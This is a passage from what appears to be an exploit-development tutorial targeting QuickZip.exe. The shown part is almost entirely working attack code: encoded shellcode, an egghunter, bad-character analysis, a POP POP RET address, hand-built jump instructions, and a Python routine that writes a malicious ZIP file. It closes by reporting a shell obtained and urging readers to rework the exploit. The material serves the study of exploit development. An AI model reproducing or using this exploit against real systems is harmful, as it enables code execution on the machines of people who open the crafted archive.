shellcode += "\x46\x36\x43\x76\x6b\x4f\x76\x50\x65\x38\x73\x38"
shellcode += "\x4b\x37\x55\x4d\x73\x50\x79\x6f\x39\x45\x4f\x4b"
shellcode += "\x4a\x50\x6d\x65\x59\x32\x50\x56\x75\x38\x6d\x76"
shellcode += "\x4a\x35\x6d\x6d\x4d\x4d\x6b\x4f\x5a\x75\x75\x6c"
shellcode += "\x75\x56\x31\x6c\x47\x7a\x6d\x50\x39\x6b\x4b\x50"
shellcode += "\x63\x45\x44\x45\x4f\x4b\x62\x67\x36\x73\x33\x42"
shellcode += "\x72\x4f\x31\x7a\x63\x30\x61\x43\x69\x6f\x6b\x65"
shellcode += "\x41\x41"

egghunter  = ""
egghunter += "\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
egghunter += "\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58"
egghunter += "\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42"
egghunter += "\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"
egghunter += "\x42\x75\x4a\x49\x42\x46\x6b\x31\x69\x5a\x6b\x4f"
egghunter += "\x34\x4f\x77\x32\x31\x42\x31\x7a\x76\x62\x46\x38"
egghunter += "\x4a\x6d\x74\x6e\x45\x6c\x55\x55\x53\x6a\x42\x54"
egghunter += "\x5a\x4f\x4f\x48\x30\x6e\x50\x6f\x62\x50\x63\x55"
egghunter += "\x6c\x4b\x39\x6a\x6e\x4f\x42\x55\x39\x7a\x6e\x4f"
egghunter += "\x34\x35\x69\x77\x49\x6f\x5a\x47\x41\x41"

# Crash at 296
# 00407A33 - POP POP RET (QuickZip.exe)
# Bad chars - \x00\x0F\x14\x15\x2F\x3A\x5C\x80\x81\x82\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA4\xA7\xA8\xA9\xAD\xAE\xB3\xB4\xB6\xB8\xB9\xBE\xC0\xC1\xC2\xC3\xC8\xCA\xCB\xCC\xCD\xCE\xCF\xD0\xD2\xD3\xD4\xD5\xD7\xD8\xD9\xDA\xDB\xDD\xDE\xE3\xF0\xF5\xF8\xFD\xFE

# File  ->  Memory
# 9f    ->  83
# 89    ->  eb
# 8a    ->  e8
# 98    ->  ff
# f6    ->  f7

jmp  = "\x58"                   # POP EAX
jmp += "\x89\x06"               # JMP 0x06
jmp += "\x41"                   # INC ECX
jmp += "\x8a\xf6\x98\x98\x98"   # CALL 0xF7

payload = "A"*(296-len(egghunter)-len(jmp)) + jmp + egghunter + "\x89\x9f\x41\x41" + "\x33\x7A\x40\x00" + shellcode + "D"*(4064-296-8-len(shellcode))
payload = payload + ".txt"

print("Size : " + str(len(payload)))
print("Creating new " + filename + " file")
f = open(filename, 'w')
f.write(ldf_header + payload + cdf_header + payload + eofcdf_header)
f.close()

We’ll create our final ZIP, run it and boom!

We have a shell, oh yeah!

Conclusion

I encourage you to rewrite the whole exploit with your own ideas. Corelanc0d3r’s article also encourages you to think and think hard. Try random stuff, break things. If you found a different method to exploit this then please share with us. Remember to always try harder!